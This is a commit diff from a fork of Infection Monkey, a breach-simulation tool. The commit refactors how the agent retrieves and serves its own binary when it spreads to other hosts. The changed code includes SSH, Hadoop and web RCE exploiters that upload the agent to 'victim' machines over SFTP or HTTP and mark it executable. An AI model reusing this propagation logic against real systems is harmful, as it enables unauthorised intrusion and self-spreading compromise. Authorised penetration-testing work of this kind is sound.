forked from p15670423/monkey
Merge pull request #1756 from guardicore/1675-agent-repository
Add IAgentRepository to simplify agent download during propagation
This commit is contained in:
commit
07658802f3
|
@ -8,7 +8,6 @@ from urllib.parse import urljoin
|
|||
import requests
|
||||
from requests.exceptions import ConnectionError
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
import infection_monkey.tunnel as tunnel
|
||||
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||
|
@ -258,22 +257,6 @@ class ControlClient(object):
|
|||
ControlClient.load_control_config()
|
||||
return not WormConfiguration.alive
|
||||
|
||||
@staticmethod
|
||||
def download_monkey_exe(host):
|
||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
|
||||
if filename is None:
|
||||
return None
|
||||
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
||||
|
||||
@staticmethod
|
||||
def download_monkey_exe_by_os(is_windows, is_32bit):
|
||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
|
||||
ControlClient.spoof_host_os_info(is_windows, is_32bit)
|
||||
)
|
||||
if filename is None:
|
||||
return None
|
||||
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
||||
|
||||
@staticmethod
|
||||
def spoof_host_os_info(is_windows, is_32bit):
|
||||
if is_windows:
|
||||
|
@ -291,70 +274,6 @@ class ControlClient(object):
|
|||
|
||||
return {"os": {"type": os, "machine": arch}}
|
||||
|
||||
@staticmethod
|
||||
def download_monkey_exe_by_filename(filename, size):
|
||||
if not WormConfiguration.current_server:
|
||||
return None
|
||||
try:
|
||||
dest_file = monkeyfs.virtual_path(filename)
|
||||
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
|
||||
return dest_file
|
||||
else:
|
||||
download = requests.get( # noqa: DUO123
|
||||
"https://%s/api/monkey/download/%s"
|
||||
% (WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
)
|
||||
|
||||
with monkeyfs.open(dest_file, "wb") as file_obj:
|
||||
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
||||
if chunk:
|
||||
file_obj.write(chunk)
|
||||
file_obj.flush()
|
||||
if size == monkeyfs.getsize(dest_file):
|
||||
return dest_file
|
||||
|
||||
except Exception as exc:
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_exe_filename_and_size_by_host(host):
|
||||
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
|
||||
if not WormConfiguration.current_server:
|
||||
return None, None
|
||||
try:
|
||||
reply = requests.post( # noqa: DUO123
|
||||
"https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
||||
data=json.dumps(host_dict),
|
||||
headers={"content-type": "application/json"},
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=LONG_REQUEST_TIMEOUT,
|
||||
)
|
||||
if 200 == reply.status_code:
|
||||
result_json = reply.json()
|
||||
filename = result_json.get("filename")
|
||||
if not filename:
|
||||
return None, None
|
||||
size = result_json.get("size")
|
||||
return filename, size
|
||||
else:
|
||||
return None, None
|
||||
|
||||
except Exception as exc:
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
|
||||
return None, None
|
||||
|
||||
@staticmethod
|
||||
def create_control_tunnel():
|
||||
if not WormConfiguration.current_server:
|
||||
|
|
|
@ -9,6 +9,8 @@ from infection_monkey.config import WormConfiguration
|
|||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||
|
||||
from . import IAgentRepository
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
@ -67,9 +69,16 @@ class HostExploiter:
|
|||
)
|
||||
|
||||
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
|
||||
def exploit_host(
|
||||
self,
|
||||
host,
|
||||
telemetry_messenger: ITelemetryMessenger,
|
||||
agent_repository: IAgentRepository,
|
||||
options: Dict,
|
||||
):
|
||||
self.host = host
|
||||
self.telemetry_messenger = telemetry_messenger
|
||||
self.agent_repository = agent_repository
|
||||
self.options = options
|
||||
|
||||
self.pre_exploit()
|
||||
|
|
|
@ -1 +1,3 @@
|
|||
from .i_agent_repository import IAgentRepository
|
||||
from .caching_agent_repository import CachingAgentRepository
|
||||
from .exploiter_wrapper import ExploiterWrapper
|
||||
|
|
|
@ -0,0 +1,37 @@
|
|||
import io
|
||||
from functools import lru_cache
|
||||
from typing import Mapping
|
||||
|
||||
import requests
|
||||
|
||||
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
|
||||
|
||||
from . import IAgentRepository
|
||||
|
||||
|
||||
class CachingAgentRepository(IAgentRepository):
|
||||
"""
|
||||
CachingAgentRepository implements the IAgentRepository interface and downloads the requested
|
||||
agent binary from the island on request. The agent binary is cached so that only one request is
|
||||
actually sent to the island for each requested binary.
|
||||
"""
|
||||
|
||||
def __init__(self, island_url: str, proxies: Mapping[str, str]):
|
||||
self._island_url = island_url
|
||||
self._proxies = proxies
|
||||
|
||||
def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO:
|
||||
return io.BytesIO(self._download_binary_from_island(os))
|
||||
|
||||
@lru_cache(maxsize=None)
|
||||
def _download_binary_from_island(self, os: str) -> bytes:
|
||||
response = requests.get( # noqa: DUO123
|
||||
f"{self._island_url}/api/monkey/download/{os}",
|
||||
verify=False,
|
||||
proxies=self._proxies,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
)
|
||||
|
||||
response.raise_for_status()
|
||||
|
||||
return response.content
|
|
@ -3,6 +3,7 @@ from typing import Dict, Type
|
|||
from infection_monkey.model import VictimHost
|
||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||
|
||||
from . import IAgentRepository
|
||||
from .HostExploiter import HostExploiter
|
||||
|
||||
|
||||
|
@ -16,17 +17,28 @@ class ExploiterWrapper:
|
|||
|
||||
class Inner:
|
||||
def __init__(
|
||||
self, exploit_class: Type[HostExploiter], telemetry_messenger: ITelemetryMessenger
|
||||
self,
|
||||
exploit_class: Type[HostExploiter],
|
||||
telemetry_messenger: ITelemetryMessenger,
|
||||
agent_repository: IAgentRepository,
|
||||
):
|
||||
self._exploit_class = exploit_class
|
||||
self._telemetry_messenger = telemetry_messenger
|
||||
self._agent_repository = agent_repository
|
||||
|
||||
def exploit_host(self, host: VictimHost, options: Dict):
|
||||
exploiter = self._exploit_class()
|
||||
return exploiter.exploit_host(host, self._telemetry_messenger, options)
|
||||
return exploiter.exploit_host(
|
||||
host, self._telemetry_messenger, self._agent_repository, options
|
||||
)
|
||||
|
||||
def __init__(self, telemetry_messenger: ITelemetryMessenger):
|
||||
def __init__(
|
||||
self, telemetry_messenger: ITelemetryMessenger, agent_repository: IAgentRepository
|
||||
):
|
||||
self._telemetry_messenger = telemetry_messenger
|
||||
self._agent_repository = agent_repository
|
||||
|
||||
def wrap(self, exploit_class: Type[HostExploiter]):
|
||||
return ExploiterWrapper.Inner(exploit_class, self._telemetry_messenger)
|
||||
return ExploiterWrapper.Inner(
|
||||
exploit_class, self._telemetry_messenger, self._agent_repository
|
||||
)
|
||||
|
|
|
@ -42,13 +42,18 @@ class HadoopExploiter(WebRCE):
|
|||
self.add_vulnerable_urls(urls, True)
|
||||
if not self.vulnerable_urls:
|
||||
return self.exploit_result
|
||||
paths = self.get_monkey_paths()
|
||||
if not paths:
|
||||
return self.exploit_result
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||
|
||||
try:
|
||||
command = self._build_command(paths["dest_path"], http_path)
|
||||
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
|
||||
except KeyError:
|
||||
return self.exploit_result
|
||||
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
self.host, dropper_target_path, self.agent_repository
|
||||
)
|
||||
|
||||
try:
|
||||
command = self._build_command(dropper_target_path, http_path)
|
||||
|
||||
if self.exploit(self.vulnerable_urls[0], command):
|
||||
self.add_executed_cmd(command)
|
||||
|
|
|
@ -0,0 +1,21 @@
|
|||
import abc
|
||||
import io
|
||||
|
||||
|
||||
class IAgentRepository(metaclass=abc.ABCMeta):
|
||||
"""
|
||||
IAgentRepository provides an interface for other components to access agent binaries. Notably,
|
||||
this is used by exploiters during propagation to retrieve the appropriate agent binary so that
|
||||
it can be uploaded to a victim and executed.
|
||||
"""
|
||||
|
||||
@abc.abstractmethod
|
||||
def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO:
|
||||
"""
|
||||
Retrieve the appropriate agent binary from the repository.
|
||||
:param str os: The name of the operating system on which the agent binary will run
|
||||
:param str architecture: Reserved
|
||||
:return: A file-like object for the requested agent binary
|
||||
:rtype: io.BytesIO
|
||||
"""
|
||||
pass
|
|
@ -2,7 +2,6 @@ import logging
|
|||
import os
|
||||
from typing import List, Optional
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.consts import WIN_ARCH_32
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
|
@ -22,7 +21,7 @@ from infection_monkey.exploit.powershell_utils.powershell_client import (
|
|||
IPowerShellClient,
|
||||
PowerShellClient,
|
||||
)
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
@ -186,11 +185,15 @@ class PowerShellExploiter(HostExploiter):
|
|||
return is_monkey_copy_successful
|
||||
|
||||
def _write_virtual_file_to_local_path(self) -> None:
|
||||
"""
|
||||
# TODO: monkeyfs has been removed. Fix this in issue #1740.
|
||||
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
|
||||
|
||||
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
|
||||
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
|
||||
monkey_local_file.write(monkey_virtual_file.read())
|
||||
"""
|
||||
pass
|
||||
|
||||
def _run_monkey_executable_on_victim(self, executable_path) -> None:
|
||||
monkey_execution_command = build_monkey_execution_command(
|
||||
|
|
|
@ -4,12 +4,11 @@ import time
|
|||
|
||||
import paramiko
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from common.utils.exceptions import FailedExploitationError
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.model import MONKEY_ARG
|
||||
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
||||
|
@ -133,7 +132,6 @@ class SSHExploiter(HostExploiter):
|
|||
_, stdout, _ = ssh.exec_command("uname -o")
|
||||
uname_os = stdout.read().lower().strip().decode()
|
||||
if "linux" in uname_os:
|
||||
self.host.os["type"] = "linux"
|
||||
self.exploit_result.os = "linux"
|
||||
else:
|
||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||
|
@ -149,9 +147,9 @@ class SSHExploiter(HostExploiter):
|
|||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
agent_binary_file_object = self.agent_repository.get_agent_binary(self.exploit_result.os)
|
||||
|
||||
if not src_path:
|
||||
if not agent_binary_file_object:
|
||||
self.exploit_result.error_message = (
|
||||
f"Can't find suitable monkey executable for host {self.host}"
|
||||
)
|
||||
|
@ -160,19 +158,17 @@ class SSHExploiter(HostExploiter):
|
|||
return self.exploit_result
|
||||
|
||||
try:
|
||||
ftp = ssh.open_sftp()
|
||||
|
||||
self._update_timestamp = time.time()
|
||||
with monkeyfs.open(src_path) as file_obj:
|
||||
with ssh.open_sftp() as ftp:
|
||||
self._update_timestamp = time.time()
|
||||
ftp.putfo(
|
||||
file_obj,
|
||||
agent_binary_file_object,
|
||||
self.options["dropper_target_path_linux"],
|
||||
file_size=monkeyfs.getsize(src_path),
|
||||
file_size=len(agent_binary_file_object.getbuffer()),
|
||||
callback=self.log_transfer,
|
||||
)
|
||||
self._make_agent_executable(ftp)
|
||||
status = ScanStatus.USED
|
||||
ftp.close()
|
||||
self._set_executable_bit_on_agent_binary(ftp)
|
||||
|
||||
status = ScanStatus.USED
|
||||
except Exception as exc:
|
||||
self.exploit_result.error_message = (
|
||||
f"Error uploading file into victim {self.host}: ({exc})"
|
||||
|
@ -182,7 +178,10 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1105Telem(
|
||||
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
||||
status,
|
||||
get_interface_to_target(self.host.ip_addr),
|
||||
self.host.ip_addr,
|
||||
self.options["dropper_target_path_linux"],
|
||||
)
|
||||
)
|
||||
if status == ScanStatus.SCANNED:
|
||||
|
@ -215,7 +214,7 @@ class SSHExploiter(HostExploiter):
|
|||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
def _make_agent_executable(self, ftp: paramiko.sftp_client.SFTPClient):
|
||||
def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient):
|
||||
ftp.chmod(self.options["dropper_target_path_linux"], 0o700)
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1222Telem(
|
||||
|
|
|
@ -11,18 +11,13 @@ def try_get_target_monkey(host):
|
|||
|
||||
|
||||
def get_target_monkey(host):
|
||||
from infection_monkey.control import ControlClient
|
||||
|
||||
if not host.os.get("type"):
|
||||
return None
|
||||
|
||||
return ControlClient.download_monkey_exe(host)
|
||||
raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.")
|
||||
|
||||
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from infection_monkey.control import ControlClient
|
||||
|
||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
raise NotImplementedError(
|
||||
"get_target_monkey_by_os() has been retired. Use IAgentRepository instead."
|
||||
)
|
||||
|
||||
|
||||
def get_monkey_depth():
|
||||
|
|
|
@ -11,33 +11,12 @@ from infection_monkey.model import DOWNLOAD_TIMEOUT
|
|||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
from infection_monkey.transport import LockedHTTPServer
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
return None, None
|
||||
|
||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
return (
|
||||
"http://%s:%s/%s"
|
||||
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
|
||||
httpd,
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
|
@ -49,7 +28,9 @@ class HTTPTools(object):
|
|||
return http_path, http_thread
|
||||
|
||||
@staticmethod
|
||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
def create_locked_transfer(
|
||||
host, dropper_target_path, agent_repository, local_ip=None, local_port=None
|
||||
):
|
||||
"""
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
|
@ -71,12 +52,13 @@ class HTTPTools(object):
|
|||
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
httpd = LockedHTTPServer(
|
||||
local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock
|
||||
)
|
||||
httpd.start()
|
||||
lock.acquire()
|
||||
return (
|
||||
"http://%s:%s/%s"
|
||||
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
|
||||
"http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])),
|
||||
httpd,
|
||||
)
|
||||
|
||||
|
|
|
@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import srvs, transport
|
|||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.smbconnection import SMB_DIALECT, SMBConnection
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.config import Configuration
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
|
@ -20,7 +19,8 @@ class SmbTools(object):
|
|||
def copy_file(
|
||||
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
|
||||
):
|
||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||
# monkeyfs has been removed. Fix this in issue #1741
|
||||
# assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||
|
||||
smb, dialect = SmbTools.new_smb_connection(
|
||||
host, username, password, lm_hash, ntlm_hash, timeout
|
||||
|
@ -138,10 +138,13 @@ class SmbTools(object):
|
|||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||
|
||||
try:
|
||||
# monkeyfs has been removed. Fix this in issue #1741
|
||||
"""
|
||||
with monkeyfs.open(src_path, "rb") as source_file:
|
||||
# make sure of the timeout
|
||||
smb.setTimeout(timeout)
|
||||
smb.putFile(share_name, remote_path, source_file.read)
|
||||
"""
|
||||
|
||||
file_uploaded = True
|
||||
T1105Telem(
|
||||
|
|
|
@ -292,11 +292,12 @@ class WebRCE(HostExploiter):
|
|||
if not self.host.os["type"]:
|
||||
logger.error("Unknown target's os type. Skipping.")
|
||||
return False
|
||||
paths = self.get_monkey_paths()
|
||||
if not paths:
|
||||
return False
|
||||
|
||||
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
|
||||
# Create server for http download and wait for it's startup.
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
self.host, dropper_target_path, self.agent_repository
|
||||
)
|
||||
if not http_path:
|
||||
logger.debug("Exploiter failed, http transfer creation failed.")
|
||||
return False
|
||||
|
@ -304,10 +305,10 @@ class WebRCE(HostExploiter):
|
|||
# Choose command:
|
||||
if not commands:
|
||||
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
|
||||
command = self.get_command(paths["dest_path"], http_path, commands)
|
||||
command = self.get_command(dropper_target_path, http_path, commands)
|
||||
resp = self.exploit(url, command)
|
||||
self.add_executed_cmd(command)
|
||||
resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path)
|
||||
resp = self.run_backup_commands(resp, url, dropper_target_path, http_path)
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
@ -316,7 +317,7 @@ class WebRCE(HostExploiter):
|
|||
if resp is False:
|
||||
return resp
|
||||
else:
|
||||
return {"response": resp, "path": paths["dest_path"]}
|
||||
return {"response": resp, "path": dropper_target_path}
|
||||
|
||||
def change_permissions(self, url, path, command=None):
|
||||
"""
|
||||
|
|
|
@ -16,7 +16,7 @@ from infection_monkey.credential_collectors import (
|
|||
MimikatzCredentialCollector,
|
||||
SSHCredentialCollector,
|
||||
)
|
||||
from infection_monkey.exploit import ExploiterWrapper
|
||||
from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
|
||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||
from infection_monkey.i_puppet import IPuppet, PluginType
|
||||
|
@ -200,7 +200,10 @@ class InfectionMonkey:
|
|||
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
||||
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
||||
|
||||
exploit_wrapper = ExploiterWrapper(self.telemetry_messenger)
|
||||
agent_repoitory = CachingAgentRepository(
|
||||
f"https://{self._default_server}", ControlClient.proxies
|
||||
)
|
||||
exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repoitory)
|
||||
|
||||
puppet.load_plugin(
|
||||
"SSHExploiter",
|
||||
|
|
|
@ -1,58 +0,0 @@
|
|||
import os
|
||||
from io import BytesIO
|
||||
|
||||
MONKEYFS_PREFIX = "monkeyfs://"
|
||||
|
||||
open_orig = open
|
||||
|
||||
|
||||
class VirtualFile(BytesIO):
|
||||
_vfs = {} # virtual File-System
|
||||
|
||||
def __init__(self, name, mode="r", buffering=None):
|
||||
if not name.startswith(MONKEYFS_PREFIX):
|
||||
name = MONKEYFS_PREFIX + name
|
||||
self.name = name
|
||||
if name in VirtualFile._vfs:
|
||||
super(VirtualFile, self).__init__(self._vfs[name])
|
||||
else:
|
||||
super(VirtualFile, self).__init__()
|
||||
|
||||
def flush(self):
|
||||
super(VirtualFile, self).flush()
|
||||
VirtualFile._vfs[self.name] = self.getvalue()
|
||||
|
||||
@staticmethod
|
||||
def getsize(path):
|
||||
return len(VirtualFile._vfs[path])
|
||||
|
||||
@staticmethod
|
||||
def isfile(path):
|
||||
return path in VirtualFile._vfs
|
||||
|
||||
|
||||
def getsize(path):
|
||||
if path.startswith(MONKEYFS_PREFIX):
|
||||
return VirtualFile.getsize(path)
|
||||
else:
|
||||
return os.stat(path).st_size
|
||||
|
||||
|
||||
def isfile(path):
|
||||
if path.startswith(MONKEYFS_PREFIX):
|
||||
return VirtualFile.isfile(path)
|
||||
else:
|
||||
return os.path.isfile(path)
|
||||
|
||||
|
||||
def virtual_path(name):
|
||||
return "%s%s" % (MONKEYFS_PREFIX, name)
|
||||
|
||||
|
||||
# noinspection PyShadowingBuiltins
|
||||
def open(name, mode="r", buffering=-1):
|
||||
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
|
||||
if name.startswith(MONKEYFS_PREFIX):
|
||||
return VirtualFile(name, mode, buffering)
|
||||
else:
|
||||
return open_orig(name, mode=mode, buffering=buffering)
|
|
@ -1,2 +1 @@
|
|||
from infection_monkey.transport.http import HTTPServer
|
||||
from infection_monkey.transport.http import LockedHTTPServer
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
import http.server
|
||||
import os.path
|
||||
import select
|
||||
import socket
|
||||
import threading
|
||||
|
@ -7,7 +6,6 @@ import urllib
|
|||
from logging import getLogger
|
||||
from urllib.parse import urlsplit
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||
|
||||
|
@ -16,7 +14,8 @@ logger = getLogger(__name__)
|
|||
|
||||
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||
protocol_version = "HTTP/1.1"
|
||||
filename = ""
|
||||
victim_os = ""
|
||||
agent_repository = None
|
||||
|
||||
def version_string(self):
|
||||
return "Microsoft-IIS/7.5."
|
||||
|
@ -46,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|||
total += chunk
|
||||
start_range += chunk
|
||||
|
||||
if f.tell() == monkeyfs.getsize(self.filename):
|
||||
if f.tell() == len(f.getbuffer()):
|
||||
if self.report_download(self.client_address):
|
||||
self.close_connection = 1
|
||||
|
||||
|
@ -59,15 +58,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|||
f.close()
|
||||
|
||||
def send_head(self):
|
||||
if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)):
|
||||
if self.path != "/" + urllib.parse.quote(self.victim_os):
|
||||
self.send_error(500, "")
|
||||
return None, 0, 0
|
||||
try:
|
||||
f = monkeyfs.open(self.filename, "rb")
|
||||
f = self.agent_repository.get_agent_binary(self.victim_os)
|
||||
except IOError:
|
||||
self.send_error(404, "File not found")
|
||||
return None, 0, 0
|
||||
size = monkeyfs.getsize(self.filename)
|
||||
size = len(f.getbuffer())
|
||||
start_range = 0
|
||||
end_range = size
|
||||
|
||||
|
@ -157,50 +156,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
|||
)
|
||||
|
||||
|
||||
class HTTPServer(threading.Thread):
|
||||
def __init__(self, local_ip, local_port, filename, max_downloads=1):
|
||||
self._local_ip = local_ip
|
||||
self._local_port = local_port
|
||||
self._filename = filename
|
||||
self.max_downloads = max_downloads
|
||||
self.downloads = 0
|
||||
self._stopped = False
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
def run(self):
|
||||
class TempHandler(FileServHTTPRequestHandler):
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
filename = self._filename
|
||||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
|
||||
TempHandler.T1105Telem(
|
||||
TempHandler.ScanStatus.USED,
|
||||
get_interface_to_target(dest[0]),
|
||||
dest[0],
|
||||
self._filename,
|
||||
).send()
|
||||
self.downloads += 1
|
||||
if not self.downloads < self.max_downloads:
|
||||
return True
|
||||
return False
|
||||
|
||||
httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||
httpd.timeout = 0.5 # this is irrelevant?
|
||||
|
||||
while not self._stopped and self.downloads < self.max_downloads:
|
||||
httpd.handle_request()
|
||||
|
||||
self._stopped = True
|
||||
|
||||
def stop(self, timeout=60):
|
||||
self._stopped = True
|
||||
self.join(timeout)
|
||||
|
||||
|
||||
class LockedHTTPServer(threading.Thread):
|
||||
"""
|
||||
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
|
||||
|
@ -213,10 +168,21 @@ class LockedHTTPServer(threading.Thread):
|
|||
# Seconds to wait until server stops
|
||||
STOP_TIMEOUT = 5
|
||||
|
||||
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
|
||||
def __init__(
|
||||
self,
|
||||
local_ip,
|
||||
local_port,
|
||||
victim_os,
|
||||
dropper_target_path,
|
||||
agent_repository,
|
||||
lock,
|
||||
max_downloads=1,
|
||||
):
|
||||
self._local_ip = local_ip
|
||||
self._local_port = local_port
|
||||
self._filename = filename
|
||||
self._victim_os = victim_os
|
||||
self._dropper_target_path = dropper_target_path
|
||||
self._agent_repository = agent_repository
|
||||
self.max_downloads = max_downloads
|
||||
self.downloads = 0
|
||||
self._stopped = False
|
||||
|
@ -229,7 +195,8 @@ class LockedHTTPServer(threading.Thread):
|
|||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
filename = self._filename
|
||||
victim_os = self._victim_os
|
||||
agent_repository = self._agent_repository
|
||||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
|
@ -238,7 +205,7 @@ class LockedHTTPServer(threading.Thread):
|
|||
TempHandler.ScanStatus.USED,
|
||||
get_interface_to_target(dest[0]),
|
||||
dest[0],
|
||||
self._filename,
|
||||
self._dropper_target_path,
|
||||
).send()
|
||||
self.downloads += 1
|
||||
if not self.downloads < self.max_downloads:
|
||||
|
|
|
@ -134,8 +134,7 @@ def init_api_resources(api):
|
|||
api.add_resource(ConfigurationImport, "/api/configuration/import")
|
||||
api.add_resource(
|
||||
MonkeyDownload,
|
||||
"/api/monkey/download",
|
||||
"/api/monkey/download/<string:path>",
|
||||
"/api/monkey/download/<string:host_os>",
|
||||
)
|
||||
api.add_resource(NetMap, "/api/netmap")
|
||||
api.add_resource(Edge, "/api/netmap/edge")
|
||||
|
|
|
@ -1,63 +1,34 @@
|
|||
import hashlib
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
import flask_restful
|
||||
from flask import request, send_from_directory
|
||||
from flask import make_response, send_from_directory
|
||||
|
||||
from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
MONKEY_DOWNLOADS = [
|
||||
{
|
||||
"type": "linux",
|
||||
"filename": "monkey-linux-64",
|
||||
},
|
||||
{
|
||||
"type": "windows",
|
||||
"filename": "monkey-windows-64.exe",
|
